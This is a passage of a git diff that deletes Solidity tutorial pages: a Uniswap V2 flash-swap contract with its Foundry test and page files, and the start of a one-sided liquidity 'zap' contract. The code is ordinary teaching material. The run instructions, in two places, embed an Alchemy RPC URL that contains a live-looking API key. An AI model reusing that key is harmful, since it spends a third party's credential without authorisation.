IUniswapV2Pair(factory.getPair(DAI, WETH)); - } - - function flashSwap(uint wethAmount) external { - // Need to pass some data to trigger uniswapV2Call - bytes memory data = abi.encode(WETH, msg.sender); - - // amount0Out is DAI, amount1Out is WETH - pair.swap(0, wethAmount, address(this), data); - } - - // This function is called by the DAI/WETH pair contract - function uniswapV2Call( - address sender, - uint amount0, - uint amount1, - bytes calldata data - ) external { - require(msg.sender == address(pair), "not pair"); - require(sender == address(this), "not sender"); - - (address tokenBorrow, address caller) = abi.decode(data, (address, address)); - - // Your custom code would go here. For example, code to arbitrage. - require(tokenBorrow == WETH, "token borrow != WETH"); - - // about 0.3% fee, +1 to round up - uint fee = (amount1 * 3) / 997 + 1; - amountToRepay = amount1 + fee; - - // Transfer flash swap fee from caller - weth.transferFrom(caller, address(this), fee); - - // Repay - weth.transfer(address(pair), amountToRepay); - } -} - -interface IUniswapV2Pair { - function swap( - uint amount0Out, - uint amount1Out, - address to, - bytes calldata data - ) external; -} - -interface IUniswapV2Factory { - function getPair( - address tokenA, - address tokenB - ) external view returns (address pair); -} - -interface IERC20 { - function totalSupply() external view returns (uint); - - function balanceOf(address account) external view returns (uint); - - function transfer(address recipient, uint amount) external returns (bool); - - function allowance(address owner, address spender) external view returns (uint); - - function approve(address spender, uint amount) external returns (bool); - - function transferFrom( - address sender, - address recipient, - uint amount - ) external returns (bool); - - event Transfer(address indexed from, address indexed to, uint value); - event Approval(address indexed owner, address indexed spender, uint value); -} - -interface IWETH is IERC20 { - function deposit() external payable; - - function withdraw(uint amount) external; -} diff --git a/src/pages/defi/uniswap-v2-flash-swap/UniswapV2FlashSwapTest.sol b/src/pages/defi/uniswap-v2-flash-swap/UniswapV2FlashSwapTest.sol deleted file mode 100644 index 4a1b1dd55..000000000 --- a/src/pages/defi/uniswap-v2-flash-swap/UniswapV2FlashSwapTest.sol +++ /dev/null @@ -1,30 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -import "forge-std/Test.sol"; -import "forge-std/console.sol"; - -import "../src/UniswapV2FlashSwap.sol"; - -address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; -address constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F; -address constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; - -contract UniswapV2FlashSwapTest is Test { - IWETH private weth = IWETH(WETH); - - UniswapV2FlashSwap private uni = new UniswapV2FlashSwap(); - - function setUp() public {} - - function testFlashSwap() public { - weth.deposit{value: 1e18}(); - // Approve flash swap fee - weth.approve(address(uni), 1e18); - - uint amountToBorrow = 10 * 1e18; - uni.flashSwap(amountToBorrow); - - assertGt(uni.amountToRepay(), amountToBorrow); - } -} diff --git a/src/pages/defi/uniswap-v2-flash-swap/index.html.ts b/src/pages/defi/uniswap-v2-flash-swap/index.html.ts deleted file mode 100644 index 2db9d154a..000000000 --- a/src/pages/defi/uniswap-v2-flash-swap/index.html.ts +++ /dev/null @@ -1,173 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Uniswap V2 Flash Swap" -export const description = "Uniswap V2 flash swap" - -export const keywords = ["defi", "uniswap", "v2", "flash", "swap", "amm"] - -export const codes = [ - { - fileName: "UniswapV2FlashSwap.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmludGVyZmFjZSBJVW5pc3dhcFYyQ2FsbGVlIHsKICAgIGZ1bmN0aW9uIHVuaXN3YXBWMkNhbGwoCiAgICAgICAgYWRkcmVzcyBzZW5kZXIsCiAgICAgICAgdWludCBhbW91bnQwLAogICAgICAgIHVpbnQgYW1vdW50MSwKICAgICAgICBieXRlcyBjYWxsZGF0YSBkYXRhCiAgICApIGV4dGVybmFsOwp9Cgpjb250cmFjdCBVbmlzd2FwVjJGbGFzaFN3YXAgaXMgSVVuaXN3YXBWMkNhbGxlZSB7CiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgVU5JU1dBUF9WMl9GQUNUT1JZID0KICAgICAgICAweDVDNjliRWU3MDFlZjgxNGEyQjZhM0VERDRCMTY1MkNCOWNjNWFBNmY7CgogICAgYWRkcmVzcyBwcml2YXRlIGNvbnN0YW50IERBSSA9IDB4NkIxNzU0NzRFODkwOTRDNDREYTk4Yjk1NEVlZGVBQzQ5NTI3MWQwRjsKICAgIGFkZHJlc3MgcHJpdmF0ZSBjb25zdGFudCBXRVRIID0gMHhDMDJhYUEzOWIyMjNGRThEMEEwZTVDNEYyN2VBRDkwODNDNzU2Q2MyOwoKICAgIElVbmlzd2FwVjJGYWN0b3J5IHByaXZhdGUgY29uc3RhbnQgZmFjdG9yeSA9IElVbmlzd2FwVjJGYWN0b3J5KFVOSVNXQVBfVjJfRkFDVE9SWSk7CgogICAgSUVSQzIwIHByaXZhdGUgY29uc3RhbnQgd2V0aCA9IElFUkMyMChXRVRIKTsKCiAgICBJVW5pc3dhcFYyUGFpciBwcml2YXRlIGltbXV0YWJsZSBwYWlyOwoKICAgIC8vIEZvciB0aGlzIGV4YW1wbGUsIHN0b3JlIHRoZSBhbW91bnQgdG8gcmVwYXkKICAgIHVpbnQgcHVibGljIGFtb3VudFRvUmVwYXk7CgogICAgY29uc3RydWN0b3IoKSB7CiAgICAgICAgcGFpciA9IElVbmlzd2FwVjJQYWlyKGZhY3RvcnkuZ2V0UGFpcihEQUksIFdFVEgpKTsKICAgIH0KCiAgICBmdW5jdGlvbiBmbGFzaFN3YXAodWludCB3ZXRoQW1vdW50KSBleHRlcm5hbCB7CiAgICAgICAgLy8gTmVlZCB0byBwYXNzIHNvbWUgZGF0YSB0byB0cmlnZ2VyIHVuaXN3YXBWMkNhbGwKICAgICAgICBieXRlcyBtZW1vcnkgZGF0YSA9IGFiaS5lbmNvZGUoV0VUSCwgbXNnLnNlbmRlcik7CgogICAgICAgIC8vIGFtb3VudDBPdXQgaXMgREFJLCBhbW91bnQxT3V0IGlzIFdFVEgKICAgICAgICBwYWlyLnN3YXAoMCwgd2V0aEFtb3VudCwgYWRkcmVzcyh0aGlzKSwgZGF0YSk7CiAgICB9CgogICAgLy8gVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgYnkgdGhlIERBSS9XRVRIIHBhaXIgY29udHJhY3QKICAgIGZ1bmN0aW9uIHVuaXN3YXBWMkNhbGwoCiAgICAgICAgYWRkcmVzcyBzZW5kZXIsCiAgICAgICAgdWludCBhbW91bnQwLAogICAgICAgIHVpbnQgYW1vdW50MSwKICAgICAgICBieXRlcyBjYWxsZGF0YSBkYXRhCiAgICApIGV4dGVybmFsIHsKICAgICAgICByZXF1aXJlKG1zZy5zZW5kZXIgPT0gYWRkcmVzcyhwYWlyKSwgIm5vdCBwYWlyIik7CiAgICAgICAgcmVxdWlyZShzZW5kZXIgPT0gYWRkcmVzcyh0aGlzKSwgIm5vdCBzZW5kZXIiKTsKCiAgICAgICAgKGFkZHJlc3MgdG9rZW5Cb3Jyb3csIGFkZHJlc3MgY2FsbGVyKSA9IGFiaS5kZWNvZGUoZGF0YSwgKGFkZHJlc3MsIGFkZHJlc3MpKTsKCiAgICAgICAgLy8gWW91ciBjdXN0b20gY29kZSB3b3VsZCBnbyBoZXJlLiBGb3IgZXhhbXBsZSwgY29kZSB0byBhcmJpdHJhZ2UuCiAgICAgICAgcmVxdWlyZSh0b2tlbkJvcnJvdyA9PSBXRVRILCAidG9rZW4gYm9ycm93ICE9IFdFVEgiKTsKCiAgICAgICAgLy8gYWJvdXQgMC4zJSBmZWUsICsxIHRvIHJvdW5kIHVwCiAgICAgICAgdWludCBmZWUgPSAoYW1vdW50MSAqIDMpIC8gOTk3ICsgMTsKICAgICAgICBhbW91bnRUb1JlcGF5ID0gYW1vdW50MSArIGZlZTsKCiAgICAgICAgLy8gVHJhbnNmZXIgZmxhc2ggc3dhcCBmZWUgZnJvbSBjYWxsZXIKICAgICAgICB3ZXRoLnRyYW5zZmVyRnJvbShjYWxsZXIsIGFkZHJlc3ModGhpcyksIGZlZSk7CgogICAgICAgIC8vIFJlcGF5CiAgICAgICAgd2V0aC50cmFuc2ZlcihhZGRyZXNzKHBhaXIpLCBhbW91bnRUb1JlcGF5KTsKICAgIH0KfQoKaW50ZXJmYWNlIElVbmlzd2FwVjJQYWlyIHsKICAgIGZ1bmN0aW9uIHN3YXAoCiAgICAgICAgdWludCBhbW91bnQwT3V0LAogICAgICAgIHVpbnQgYW1vdW50MU91dCwKICAgICAgICBhZGRyZXNzIHRvLAogICAgICAgIGJ5dGVzIGNhbGxkYXRhIGRhdGEKICAgICkgZXh0ZXJuYWw7Cn0KCmludGVyZmFjZSBJVW5pc3dhcFYyRmFjdG9yeSB7CiAgICBmdW5jdGlvbiBnZXRQYWlyKAogICAgICAgIGFkZHJlc3MgdG9rZW5BLAogICAgICAgIGFkZHJlc3MgdG9rZW5CCiAgICApIGV4dGVybmFsIHZpZXcgcmV0dXJucyAoYWRkcmVzcyBwYWlyKTsKfQoKaW50ZXJmYWNlIElFUkMyMCB7CiAgICBmdW5jdGlvbiB0b3RhbFN1cHBseSgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludCk7CgogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3MgYWNjb3VudCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50KTsKCiAgICBmdW5jdGlvbiB0cmFuc2ZlcihhZGRyZXNzIHJlY2lwaWVudCwgdWludCBhbW91bnQpIGV4dGVybmFsIHJldHVybnMgKGJvb2wpOwoKICAgIGZ1bmN0aW9uIGFsbG93YW5jZShhZGRyZXNzIG93bmVyLCBhZGRyZXNzIHNwZW5kZXIpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludCk7CgogICAgZnVuY3Rpb24gYXBwcm92ZShhZGRyZXNzIHNwZW5kZXIsIHVpbnQgYW1vdW50KSBleHRlcm5hbCByZXR1cm5zIChib29sKTsKCiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oCiAgICAgICAgYWRkcmVzcyBzZW5kZXIsCiAgICAgICAgYWRkcmVzcyByZWNpcGllbnQsCiAgICAgICAgdWludCBhbW91bnQKICAgICkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CgogICAgZXZlbnQgVHJhbnNmZXIoYWRkcmVzcyBpbmRleGVkIGZyb20sIGFkZHJlc3MgaW5kZXhlZCB0bywgdWludCB2YWx1ZSk7CiAgICBldmVudCBBcHByb3ZhbChhZGRyZXNzIGluZGV4ZWQgb3duZXIsIGFkZHJlc3MgaW5kZXhlZCBzcGVuZGVyLCB1aW50IHZhbHVlKTsKfQoKaW50ZXJmYWNlIElXRVRIIGlzIElFUkMyMCB7CiAgICBmdW5jdGlvbiBkZXBvc2l0KCkgZXh0ZXJuYWwgcGF5YWJsZTsKCiAgICBmdW5jdGlvbiB3aXRoZHJhdyh1aW50IGFtb3VudCkgZXh0ZXJuYWw7Cn0K", - }, - { - fileName: "UniswapV2FlashSwapTest.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmltcG9ydCAiZm9yZ2Utc3RkL1Rlc3Quc29sIjsKaW1wb3J0ICJmb3JnZS1zdGQvY29uc29sZS5zb2wiOwoKaW1wb3J0ICIuLi9zcmMvVW5pc3dhcFYyRmxhc2hTd2FwLnNvbCI7CgphZGRyZXNzIGNvbnN0YW50IFdFVEggPSAweEMwMmFhQTM5YjIyM0ZFOEQwQTBlNUM0RjI3ZUFEOTA4M0M3NTZDYzI7CmFkZHJlc3MgY29uc3RhbnQgREFJID0gMHg2QjE3NTQ3NEU4OTA5NEM0NERhOThiOTU0RWVkZUFDNDk1MjcxZDBGOwphZGRyZXNzIGNvbnN0YW50IFVTREMgPSAweEEwYjg2OTkxYzYyMThiMzZjMWQxOUQ0YTJlOUViMGNFMzYwNmVCNDg7Cgpjb250cmFjdCBVbmlzd2FwVjJGbGFzaFN3YXBUZXN0IGlzIFRlc3QgewogICAgSVdFVEggcHJpdmF0ZSB3ZXRoID0gSVdFVEgoV0VUSCk7CgogICAgVW5pc3dhcFYyRmxhc2hTd2FwIHByaXZhdGUgdW5pID0gbmV3IFVuaXN3YXBWMkZsYXNoU3dhcCgpOwoKICAgIGZ1bmN0aW9uIHNldFVwKCkgcHVibGljIHt9CgogICAgZnVuY3Rpb24gdGVzdEZsYXNoU3dhcCgpIHB1YmxpYyB7CiAgICAgICAgd2V0aC5kZXBvc2l0e3ZhbHVlOiAxZTE4fSgpOwogICAgICAgIC8vIEFwcHJvdmUgZmxhc2ggc3dhcCBmZWUKICAgICAgICB3ZXRoLmFwcHJvdmUoYWRkcmVzcyh1bmkpLCAxZTE4KTsKCiAgICAgICAgdWludCBhbW91bnRUb0JvcnJvdyA9IDEwICogMWUxODsKICAgICAgICB1bmkuZmxhc2hTd2FwKGFtb3VudFRvQm9ycm93KTsKCiAgICAgICAgYXNzZXJ0R3QodW5pLmFtb3VudFRvUmVwYXkoKSwgYW1vdW50VG9Cb3Jyb3cpOwogICAgfQp9Cg==", - }, -] - -const html = `

Uniswap V2 Flash Swap Example

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-interface IUniswapV2Callee {
-    function uniswapV2Call(
-        address sender,
-        uint amount0,
-        uint amount1,
-        bytes calldata data
-    ) external;
-}
-
-contract UniswapV2FlashSwap is IUniswapV2Callee {
-    address private constant UNISWAP_V2_FACTORY =
-        0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
-
-    address private constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
-    address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
-
-    IUniswapV2Factory private constant factory = IUniswapV2Factory(UNISWAP_V2_FACTORY);
-
-    IERC20 private constant weth = IERC20(WETH);
-
-    IUniswapV2Pair private immutable pair;
-
-    // For this example, store the amount to repay
-    uint public amountToRepay;
-
-    constructor() {
-        pair = IUniswapV2Pair(factory.getPair(DAI, WETH));
-    }
-
-    function flashSwap(uint wethAmount) external {
-        // Need to pass some data to trigger uniswapV2Call
-        bytes memory data = abi.encode(WETH, msg.sender);
-
-        // amount0Out is DAI, amount1Out is WETH
-        pair.swap(0, wethAmount, address(this), data);
-    }
-
-    // This function is called by the DAI/WETH pair contract
-    function uniswapV2Call(
-        address sender,
-        uint amount0,
-        uint amount1,
-        bytes calldata data
-    ) external {
-        require(msg.sender == address(pair), "not pair");
-        require(sender == address(this), "not sender");
-
-        (address tokenBorrow, address caller) = abi.decode(data, (address, address));
-
-        // Your custom code would go here. For example, code to arbitrage.
-        require(tokenBorrow == WETH, "token borrow != WETH");
-
-        // about 0.3% fee, +1 to round up
-        uint fee = (amount1 * 3) / 997 + 1;
-        amountToRepay = amount1 + fee;
-
-        // Transfer flash swap fee from caller
-        weth.transferFrom(caller, address(this), fee);
-
-        // Repay
-        weth.transfer(address(pair), amountToRepay);
-    }
-}
-
-interface IUniswapV2Pair {
-    function swap(
-        uint amount0Out,
-        uint amount1Out,
-        address to,
-        bytes calldata data
-    ) external;
-}
-
-interface IUniswapV2Factory {
-    function getPair(
-        address tokenA,
-        address tokenB
-    ) external view returns (address pair);
-}
-
-interface IERC20 {
-    function totalSupply() external view returns (uint);
-
-    function balanceOf(address account) external view returns (uint);
-
-    function transfer(address recipient, uint amount) external returns (bool);
-
-    function allowance(address owner, address spender) external view returns (uint);
-
-    function approve(address spender, uint amount) external returns (bool);
-
-    function transferFrom(
-        address sender,
-        address recipient,
-        uint amount
-    ) external returns (bool);
-
-    event Transfer(address indexed from, address indexed to, uint value);
-    event Approval(address indexed owner, address indexed spender, uint value);
-}
-
-interface IWETH is IERC20 {
-    function deposit() external payable;
-
-    function withdraw(uint amount) external;
-}
-

Test with Foundry

-
    -
  1. Copy and paste this into test folder in your foundry project
  2. -
-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-import "forge-std/Test.sol";
-import "forge-std/console.sol";
-
-import "../src/UniswapV2FlashSwap.sol";
-
-address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
-address constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
-address constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
-
-contract UniswapV2FlashSwapTest is Test {
-    IWETH private weth = IWETH(WETH);
-
-    UniswapV2FlashSwap private uni = new UniswapV2FlashSwap();
-
-    function setUp() public {}
-
-    function testFlashSwap() public {
-        weth.deposit{value: 1e18}();
-        // Approve flash swap fee
-        weth.approve(address(uni), 1e18);
-
-        uint amountToBorrow = 10 * 1e18;
-        uni.flashSwap(amountToBorrow);
-
-        assertGt(uni.amountToRepay(), amountToBorrow);
-    }
-}
-
    -
  1. Execute the following commands to run the test
  2. -
-
FORK_URL=https://eth-mainnet.g.alchemy.com/v2/613t3mfjTevdrCwDl28CVvuk6wSIxRPi
-forge test -vv --gas-report --fork-url $FORK_URL --match-path test/UniswapV2FlashSwap.test.sol
-

Links

-

Foundry

-

Uniswap V3 Foundry example

-` - -export default html diff --git a/src/pages/defi/uniswap-v2-flash-swap/index.md b/src/pages/defi/uniswap-v2-flash-swap/index.md deleted file mode 100644 index b4d7c2b93..000000000 --- a/src/pages/defi/uniswap-v2-flash-swap/index.md +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: Uniswap V2 Flash Swap -version: 0.8.20 -description: Uniswap V2 flash swap -keywords: [defi, uniswap, v2, flash, swap, amm] ---- - -### Uniswap V2 Flash Swap Example - -```solidity -{{{UniswapV2FlashSwap}}} -``` - -### Test with Foundry - -1. Copy and paste this into `test` folder in your foundry project - -```solidity -{{{UniswapV2FlashSwapTest}}} -``` - -2. Execute the following commands to run the test - -```shell -FORK_URL=https://eth-mainnet.g.alchemy.com/v2/613t3mfjTevdrCwDl28CVvuk6wSIxRPi -forge test -vv --gas-report --fork-url $FORK_URL --match-path test/UniswapV2FlashSwap.test.sol -``` - -### Links - -Foundry - -Uniswap V3 Foundry example diff --git a/src/pages/defi/uniswap-v2-flash-swap/index.tsx b/src/pages/defi/uniswap-v2-flash-swap/index.tsx deleted file mode 100644 index 1c63a4f4a..000000000 --- a/src/pages/defi/uniswap-v2-flash-swap/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/defi/uniswap-v2-optimal-one-sided-supply/Optimal.sol b/src/pages/defi/uniswap-v2-optimal-one-sided-supply/Optimal.sol deleted file mode 100644 index 50fba698d..000000000 --- a/src/pages/defi/uniswap-v2-optimal-one-sided-supply/Optimal.sol +++ /dev/null @@ -1,146 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -contract TestUniswapOptimalOneSidedSupply { - address private constant FACTORY = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; - address private constant ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; - address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; - - function sqrt(uint y) private pure returns (uint z) { - if (y > 3) { - z = y; - uint x = y / 2 + 1; - while (x < z) { - z = x; - x = (y / x + x) / 2; - } - } else if (y != 0) { - z = 1; - } - } - - /* - s = optimal swap amount - r = amount of reserve for token a - a = amount of token a the user currently has (not added to reserve yet) - f = swap fee percent - s = (sqrt(((2 - f)r)^2 + 4(1 - f)ar) - (2 - f)r) / (2(1 - f)) - */ - function getSwapAmount(uint r, uint a) public pure returns (uint) { - return (sqrt(r * (r * 3988009 + a * 3988000)) - r * 1997) / 1994; - } - - /* Optimal one-sided supply - 1. Swap optimal amount from token A to token B - 2. Add liquidity - */ - function zap(address _tokenA, address _tokenB, uint _amountA) external { - require(_tokenA == WETH || _tokenB == WETH, "!weth"); - - IERC20(_tokenA).transferFrom(msg.sender, address(this), _amountA); - - address pair = IUniswapV2Factory(FACTORY).getPair(_tokenA, _tokenB); - (uint reserve0, uint reserve1, ) = IUniswapV2Pair(pair).getReserves(); - - uint swapAmount; - if (IUniswapV2Pair(pair).token0() == _tokenA) { - // swap from token0 to token1 - swapAmount = getSwapAmount(reserve0, _amountA); - } else { - // swap from token1 to token0 - swapAmount = getSwapAmount(reserve1, _amountA); - } - - _swap(_tokenA, _tokenB, swapAmount); - _addLiquidity(_tokenA, _tokenB); - } - - function _swap(address _from, address _to, uint _amount) internal { - IERC20(_from).approve(ROUTER, _amount); - - address[] memory path = new address[](2); - path = new address[](2); - path[0] = _from; - path[1] = _to; - - IUniswapV2Router(ROUTER).swapExactTokensForTokens( - _amount, - 1, - path, - address(this), - block.timestamp - ); - } - - function _addLiquidity(address _tokenA, address _tokenB) internal { - uint balA = IERC20(_tokenA).balanceOf(address(this)); - uint balB = IERC20(_tokenB).balanceOf(address(this)); - IERC20(_tokenA).approve(ROUTER, balA); - IERC20(_tokenB).approve(ROUTER, balB); - - IUniswapV2Router(ROUTER).addLiquidity( - _tokenA, - _tokenB, - balA, - balB, - 0, - 0, - address(this), - block.timestamp - ); - } -} - -interface IUniswapV2Router { - function addLiquidity( - address tokenA, - address tokenB, - uint amountADesired, - uint amountBDesired, - uint amountAMin, - uint amountBMin, - address to, - uint deadline - ) external returns (uint amountA, uint amountB, uint liquidity); - - function swapExactTokensForTokens( - uint amountIn, - uint amountOutMin, - address[] calldata path, - address to, - uint deadline - ) external returns (uint[] memory amounts); -} - -interface IUniswapV2Factory { - function getPair(address token0, address token1) external view returns (address); -} - -interface IUniswapV2Pair { - function token0() external view returns (address); - - function token1() external view returns (address); - - function getReserves() - external - view - returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); -} - -interface IERC20 { - function totalSupply() external view returns (uint); - - function balanceOf(address account) external view returns (uint); - - function transfer(address recipient, uint amount) external returns (bool); - - function allowance(address owner, address spender) external view returns (uint); - - function approve(address spender, uint amount) external returns (bool); - - function transferFrom( - address sender, - address recipient, - uint amount - ) external returns (bool); -} diff --git a/src/pages/defi/uniswap-v2-optimal-one-sided-supply/index.html.ts b/src/pages/defi/uniswap-v2-optimal-one-sided-supply/index.html.ts deleted file mode 100644 index 0f61bc7f7..000000000 --- a/src/pages/defi/uniswap-v2-optimal-one-sided-supply/index.html.ts +++ /dev/null @@ -1,173 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Uniswap V2 Optimal One Sided Supply" -export const description = "Uniswap V2 Optimal One Sided Supply" - -export const keywords = [ - "defi", - "uniswap", - "v2", - "optimal", - "one", - "sided", - "supply", - "amm", -] - -export const codes = [ - { - fileName: "Optimal.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IFRlc3RVbmlzd2FwT3B0aW1hbE9uZVNpZGVkU3VwcGx5IHsKICAgIGFkZHJlc3MgcHJpdmF0ZSBjb25zdGFudCBGQUNUT1JZID0gMHg1QzY5YkVlNzAxZWY4MTRhMkI2YTNFREQ0QjE2NTJDQjljYzVhQTZmOwogICAgYWRkcmVzcyBwcml2YXRlIGNvbnN0YW50IFJPVVRFUiA9IDB4N2EyNTBkNTYzMEI0Y0Y1Mzk3MzlkRjJDNWRBY2I0YzY1OUYyNDg4RDsKICAgIGFkZHJlc3MgcHJpdmF0ZSBjb25zdGFudCBXRVRIID0gMHhDMDJhYUEzOWIyMjNGRThEMEEwZTVDNEYyN2VBRDkwODNDNzU2Q2MyOwoKICAgIGZ1bmN0aW9uIHNxcnQodWludCB5KSBwcml2YXRlIHB1cmUgcmV0dXJucyAodWludCB6KSB7CiAgICAgICAgaWYgKHkgPiAzKSB7CiAgICAgICAgICAgIHogPSB5OwogICAgICAgICAgICB1aW50IHggPSB5IC8gMiArIDE7CiAgICAgICAgICAgIHdoaWxlICh4IDwgeikgewogICAgICAgICAgICAgICAgeiA9IHg7CiAgICAgICAgICAgICAgICB4ID0gKHkgLyB4ICsgeCkgLyAyOwogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIGlmICh5ICE9IDApIHsKICAgICAgICAgICAgeiA9IDE7CiAgICAgICAgfQogICAgfQoKICAgIC8qCiAgICBzID0gb3B0aW1hbCBzd2FwIGFtb3VudAogICAgciA9IGFtb3VudCBvZiByZXNlcnZlIGZvciB0b2tlbiBhCiAgICBhID0gYW1vdW50IG9mIHRva2VuIGEgdGhlIHVzZXIgY3VycmVudGx5IGhhcyAobm90IGFkZGVkIHRvIHJlc2VydmUgeWV0KQogICAgZiA9IHN3YXAgZmVlIHBlcmNlbnQKICAgIHMgPSAoc3FydCgoKDIgLSBmKXIpXjIgKyA0KDEgLSBmKWFyKSAtICgyIC0gZilyKSAvICgyKDEgLSBmKSkKICAgICovCiAgICBmdW5jdGlvbiBnZXRTd2FwQW1vdW50KHVpbnQgciwgdWludCBhKSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50KSB7CiAgICAgICAgcmV0dXJuIChzcXJ0KHIgKiAociAqIDM5ODgwMDkgKyBhICogMzk4ODAwMCkpIC0gciAqIDE5OTcpIC8gMTk5NDsKICAgIH0KCiAgICAvKiBPcHRpbWFsIG9uZS1zaWRlZCBzdXBwbHkKICAgIDEuIFN3YXAgb3B0aW1hbCBhbW91bnQgZnJvbSB0b2tlbiBBIHRvIHRva2VuIEIKICAgIDIuIEFkZCBsaXF1aWRpdHkKICAgICovCiAgICBmdW5jdGlvbiB6YXAoYWRkcmVzcyBfdG9rZW5BLCBhZGRyZXNzIF90b2tlbkIsIHVpbnQgX2Ftb3VudEEpIGV4dGVybmFsIHsKICAgICAgICByZXF1aXJlKF90b2tlbkEgPT0gV0VUSCB8fCBfdG9rZW5CID09IFdFVEgsICIhd2V0aCIpOwoKICAgICAgICBJRVJDMjAoX3Rva2VuQSkudHJhbnNmZXJGcm9tKG1zZy5zZW5kZXIsIGFkZHJlc3ModGhpcyksIF9hbW91bnRBKTsKCiAgICAgICAgYWRkcmVzcyBwYWlyID0gSVVuaXN3YXBWMkZhY3RvcnkoRkFDVE9SWSkuZ2V0UGFpcihfdG9rZW5BLCBfdG9rZW5CKTsKICAgICAgICAodWludCByZXNlcnZlMCwgdWludCByZXNlcnZlMSwgKSA9IElVbmlzd2FwVjJQYWlyKHBhaXIpLmdldFJlc2VydmVzKCk7CgogICAgICAgIHVpbnQgc3dhcEFtb3VudDsKICAgICAgICBpZiAoSVVuaXN3YXBWMlBhaXIocGFpcikudG9rZW4wKCkgPT0gX3Rva2VuQSkgewogICAgICAgICAgICAvLyBzd2FwIGZyb20gdG9rZW4wIHRvIHRva2VuMQogICAgICAgICAgICBzd2FwQW1vdW50ID0gZ2V0U3dhcEFtb3VudChyZXNlcnZlMCwgX2Ftb3VudEEpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIC8vIHN3YXAgZnJvbSB0b2tlbjEgdG8gdG9rZW4wCiAgICAgICAgICAgIHN3YXBBbW91bnQgPSBnZXRTd2FwQW1vdW50KHJlc2VydmUxLCBfYW1vdW50QSk7CiAgICAgICAgfQoKICAgICAgICBfc3dhcChfdG9rZW5BLCBfdG9rZW5CLCBzd2FwQW1vdW50KTsKICAgICAgICBfYWRkTGlxdWlkaXR5KF90b2tlbkEsIF90b2tlbkIpOwogICAgfQoKICAgIGZ1bmN0aW9uIF9zd2FwKGFkZHJlc3MgX2Zyb20sIGFkZHJlc3MgX3RvLCB1aW50IF9hbW91bnQpIGludGVybmFsIHsKICAgICAgICBJRVJDMjAoX2Zyb20pLmFwcHJvdmUoUk9VVEVSLCBfYW1vdW50KTsKCiAgICAgICAgYWRkcmVzc1tdIG1lbW9yeSBwYXRoID0gbmV3IGFkZHJlc3NbXSgyKTsKICAgICAgICBwYXRoID0gbmV3IGFkZHJlc3NbXSgyKTsKICAgICAgICBwYXRoWzBdID0gX2Zyb207CiAgICAgICAgcGF0aFsxXSA9IF90bzsKCiAgICAgICAgSVVuaXN3YXBWMlJvdXRlcihST1VURVIpLnN3YXBFeGFjdFRva2Vuc0ZvclRva2VucygKICAgICAgICAgICAgX2Ftb3VudCwKICAgICAgICAgICAgMSwKICAgICAgICAgICAgcGF0aCwKICAgICAgICAgICAgYWRkcmVzcyh0aGlzKSwKICAgICAgICAgICAgYmxvY2sudGltZXN0YW1wCiAgICAgICAgKTsKICAgIH0KCiAgICBmdW5jdGlvbiBfYWRkTGlxdWlkaXR5KGFkZHJlc3MgX3Rva2VuQSwgYWRkcmVzcyBfdG9rZW5CKSBpbnRlcm5hbCB7CiAgICAgICAgdWludCBiYWxBID0gSUVSQzIwKF90b2tlbkEpLmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKTsKICAgICAgICB1aW50IGJhbEIgPSBJRVJDMjAoX3Rva2VuQikuYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpOwogICAgICAgIElFUkMyMChfdG9rZW5BKS5hcHByb3ZlKFJPVVRFUiwgYmFsQSk7CiAgICAgICAgSUVSQzIwKF90b2tlbkIpLmFwcHJvdmUoUk9VVEVSLCBiYWxCKTsKCiAgICAgICAgSVVuaXN3YXBWMlJvdXRlcihST1VURVIpLmFkZExpcXVpZGl0eSgKICAgICAgICAgICAgX3Rva2VuQSwKICAgICAgICAgICAgX3Rva2VuQiwKICAgICAgICAgICAgYmFsQSwKICAgICAgICAgICAgYmFsQiw